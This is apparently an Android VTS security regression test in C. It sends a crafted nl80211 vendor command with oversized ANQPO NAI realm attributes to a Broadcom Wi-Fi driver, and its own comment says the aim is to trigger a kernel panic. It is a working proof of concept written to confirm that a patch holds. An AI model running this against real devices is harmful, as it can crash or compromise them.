1 /*
2  * Copyright (C) 2016 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include "poc_test.h"
18 
19 #include <dlfcn.h>
20 #include <errno.h>
21 #include <limits.h>
22 
23 #include <android/log.h>
24 #include <dirent.h>
25 #include <errno.h>
26 #include <fcntl.h>
27 #include <jni.h>
28 #include <sys/socket.h>
29 #include <linux/genetlink.h>
30 #include <linux/netlink.h>
31 #include <linux/nl80211.h>
32 #include <net/if.h>
33 #include <netlink/genl/ctrl.h>
34 #include <netlink/genl/genl.h>
35 #include <netlink/msg.h>
36 #include <stdio.h>
37 #include <stdlib.h>
38 #include <string.h>
39 #include <sys/ioctl.h>
40 #include <sys/stat.h>
41 #include <sys/types.h>
42 #include <sys/types.h> /* See NOTES */
43 #include <unistd.h>
44 
45 #define ETH_ALEN 6
46 
47 struct nl_sock *nl_sk;
48 #define NL80211_ATTR_IFINDEX 3
49 
50 typedef enum {
51   /* don't use 0 as a valid subcommand */
52   VENDOR_NL80211_SUBCMD_UNSPECIFIED,
53 
54   /* define all vendor startup commands between 0x0 and 0x0FFF */
55   VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
56   VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
57 
58   /* define all GScan related commands between 0x1000 and 0x10FF */
59   ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
60   ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
61 
62   /* define all RTT related commands between 0x1100 and 0x11FF */
63   ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
64   ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
65 
66   ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
67   ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
68 
69   ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
70   ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
71 
72   ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
73   ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
74 
75   /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
76   ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
77   ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
78 
79   /* define all wifi calling related commands between 0x1600 and 0x16FF */
80   ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
81   ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
82 
83   /* define all NAN related commands between 0x1700 and 0x17FF */
84   ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
85   ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
86 
87   /* define all packet filter related commands between 0x1800 and 0x18FF */
88   ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
89   ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
90 
91   /* This is reserved for future usage */
92 
93 } ANDROID_VENDOR_SUB_COMMAND;
94 
95 enum wl_vendor_subcmd {
96   BRCM_VENDOR_SCMD_UNSPEC,
97   BRCM_VENDOR_SCMD_PRIV_STR,
98   GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
99   GSCAN_SUBCMD_SET_CONFIG,
100   GSCAN_SUBCMD_SET_SCAN_CONFIG,
101   GSCAN_SUBCMD_ENABLE_GSCAN,
102   GSCAN_SUBCMD_GET_SCAN_RESULTS,
103   GSCAN_SUBCMD_SCAN_RESULTS,
104   GSCAN_SUBCMD_SET_HOTLIST,
105   GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
106   GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
107   GSCAN_SUBCMD_GET_CHANNEL_LIST,
108   ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
109   ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
110   ANDR_WIFI_RANDOM_MAC_OUI,
111   ANDR_WIFI_NODFS_CHANNELS,
112   ANDR_WIFI_SET_COUNTRY,
113   GSCAN_SUBCMD_SET_EPNO_SSID,
114   WIFI_SUBCMD_SET_SSID_WHITELIST,
115   WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
116   WIFI_SUBCMD_ENABLE_LAZY_ROAM,
117   WIFI_SUBCMD_SET_BSSID_PREF,
118   WIFI_SUBCMD_SET_BSSID_BLACKLIST,
119   GSCAN_SUBCMD_ANQPO_CONFIG,
120   WIFI_SUBCMD_SET_RSSI_MONITOR,
121   WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
122   RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
123   RTT_SUBCMD_CANCEL_CONFIG,
124   RTT_SUBCMD_GETCAPABILITY,
125   RTT_SUBCMD_GETAVAILCHANNEL,
126   RTT_SUBCMD_SET_RESPONDER,
127   RTT_SUBCMD_CANCEL_RESPONDER,
128   LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
129   DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
130   DEBUG_TRIGGER_MEM_DUMP,
131   DEBUG_GET_MEM_DUMP,
132   DEBUG_GET_VER,
133   DEBUG_GET_RING_STATUS,
134   DEBUG_GET_RING_DATA,
135   DEBUG_GET_FEATURE,
136   DEBUG_RESET_LOGGING,
137   DEBUG_TRIGGER_DRIVER_MEM_DUMP,
138   DEBUG_GET_DRIVER_MEM_DUMP,
139   DEBUG_START_PKT_FATE_MONITORING,
140   DEBUG_GET_TX_PKT_FATES,
141   DEBUG_GET_RX_PKT_FATES,
142   DEBUG_GET_WAKE_REASON_STATS,
143   WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
144       ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
145   WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
146   APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
147   APF_SUBCMD_SET_FILTER,
148   /* Add more sub commands here */
149   VENDOR_SUBCMD_MAX
150 };
151 
152 #define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
153 #define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
154 #define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
155 #define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
156 
157 #define LOOP_COUNT 4
158 #define BUF_SIZE 256
159 #define OUI_GOOGLE 0x001A11
160 
161 #define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
162 #define AID_NET_RAW 3004 /* can create raw INET sockets */
163 #define AID_NET_ADMIN 3005
164 
165 
send_testmode(const char * ifname,u_int16_t nlmsg_type,u_int32_t nlmsg_pid,u_int8_t genl_cmd,u_int8_t genl_version)166 int send_testmode(const char *ifname, u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
167                   u_int8_t genl_cmd, u_int8_t genl_version) {
168   struct nl_msg *msg;
169   int ret;
170   int i;
171   unsigned char dst[ETH_ALEN];
172   struct nlattr *rret;
173   struct nlattr *rret2;
174   struct nlattr *rret3;
175   struct nlattr *rret4;
176   unsigned char buf_test[BUF_SIZE];
177   int if_index = if_nametoindex(ifname);
178   msg = nlmsg_alloc();
179 
180   genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
181 
182   nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
183 
184   nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
185 
186   nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
187   rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
188 
189   if (!rret) {
190     perror("nla_nest_start");
191     return POC_TEST_FAIL;
192   }
193 
194   nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
195 
196   rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
197 
198   if (!rret2) {
199     perror("nla_nest_start");
200     return POC_TEST_FAIL;
201   }
202 
203   for (i = 0; i < LOOP_COUNT; ++i) {
204     rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
205 
206     if (!rret3) {
207       perror("nla_nest_start");
208       return POC_TEST_FAIL;
209     }
210 
211     nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, BUF_SIZE, &buf_test);
212     nla_nest_end(msg, rret3);
213   }
214 
215   nla_nest_end(msg, rret2);
216   nla_nest_end(msg, rret);
217 
218   ret = nl_send_auto_complete(nl_sk, msg);
219   /* To make sure that kernel panic occurs */
220   sleep(5);
221   return POC_TEST_PASS;
222 }
223 
224 
main(int argc,char * argv[])225 int main(int argc, char *argv[]) {
226   VtsHostInput host_input = ParseVtsHostFlags(argc, argv);
227   const char *ifname = host_input.params["ifname"].c_str();
228   if (strlen(ifname) == 0) {
229     fprintf(stderr, "ifname parameter is empty.");
230     return POC_TEST_FAIL;
231   }
232 
233   int ret = 0;
234   int family_id = 0;
235 
236   if (getuid() != 0) {
237     printf("need root privilege\n");
238     return POC_TEST_FAIL;
239   }
240 
241   gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
242   setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
243 
244   setuid(2000);
245 
246   nl_sk = nl_socket_alloc();
247   ret = genl_connect(nl_sk);
248   if (ret != 0) {
249     perror("genl_connect");
250     return POC_TEST_FAIL;
251   }
252 
253   family_id = genl_ctrl_resolve(nl_sk, "nl80211");
254 
255   ret = send_testmode(ifname, family_id, getpid(), NL80211_CMD_VENDOR, 1);
256 
257   return ret;
258 }
259